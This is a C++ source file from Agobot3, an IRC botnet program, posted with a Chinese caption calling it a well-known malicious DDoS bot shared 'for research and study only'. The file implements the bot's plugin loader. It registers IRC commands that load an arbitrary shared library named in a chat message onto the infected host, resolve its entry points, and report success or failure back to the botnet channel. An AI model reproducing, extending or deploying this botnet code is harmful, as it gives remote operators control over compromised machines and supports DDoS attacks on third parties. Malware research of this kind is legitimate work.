cplugin.cpp.svn-base

很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习

/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (C) 2003 Ago

	This program is free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. */

#include "main.h"
#include "cplugin.h"
#include "mainctrl.h"

CPlugin::CPlugin() {
	m_pfnInit=NULL;
	m_pfnShutdown=NULL;
	m_pfnHandleCommand=NULL;
	m_hPlugin=NULL;
}

CPlugin::~CPlugin() {
	Unload();
}

bool CPlugin::Load(CString &sFilename) {
	m_hPlugin=xLoadLib(sFilename.CStr());
	if(!m_hPlugin) return false;

	m_pfnInit=NULL;
	m_pfnShutdown=NULL;
	m_pfnHandleCommand=NULL;

	m_pfnInit			=	(InitFunc)			xGetSym(m_hPlugin, "Init"			);
	m_pfnShutdown		=	(ShutdownFunc)		xGetSym(m_hPlugin, "Shutdown"		);
	m_pfnHandleCommand	=	(HandleCommandFunc)	xGetSym(m_hPlugin, "HandleCommand"	);
	if(!m_pfnInit || !m_pfnShutdown || !m_pfnHandleCommand) {
		Unload(); return false; }
	
	return true;
}

void CPlugin::Unload() {
	if(m_hPlugin) {
		if(m_pfnShutdown) m_pfnShutdown(); xFreeLib(m_hPlugin);
		m_pfnInit=NULL;
		m_pfnShutdown=NULL;
		m_pfnHandleCommand=NULL;
		m_hPlugin=NULL;
	}
}

bool CPlugin::Init() {
	if(!m_pfnInit) return false;
	return m_pfnInit(g_pMainCtrl, this);
}

bool CPlugin::HandleCommand(CMessage *pMsg) {
	if(!m_pfnHandleCommand) return false;
	return m_pfnHandleCommand(pMsg);
}

CPluginLoader::CPluginLoader() {
}

CPluginLoader::~CPluginLoader() {
}

void CPluginLoader::Init() {
	REGCMD(m_cmdLoad,	"plugin.load",		"loads a plugin",						false,	this);
	REGCMD(m_cmdUnload,	"plugin.unload",	"unloads a plugin (not supported yet)",	false,	this); }

bool CPluginLoader::HandleCommand(CMessage *pMsg) {
	CString sFilename=pMsg->sChatString.Token(1, " ", true);
	if(!sFilename.Compare("")) return false;

	if(!pMsg->sCmd.Compare("plugin.load")) {
		CPlugin *pPlugin=new CPlugin;
		if(!pPlugin->Load(sFilename)) {
			g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), \
				"Failed to load plugin \"%s\".", sFilename.CStr());
			delete pPlugin; return false;
		}

		if(!pPlugin->Init()) {
			g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), \
				"Failed to init plugin \"%s\".", sFilename.CStr());
			delete pPlugin; return false;
		}
		
		g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), \
			"Loaded plugin \"%s\".", sFilename.CStr());

		return true; }

	else if(!pMsg->sCmd.Compare("plugin.unload")) {
		return false; }
	
	return false;
}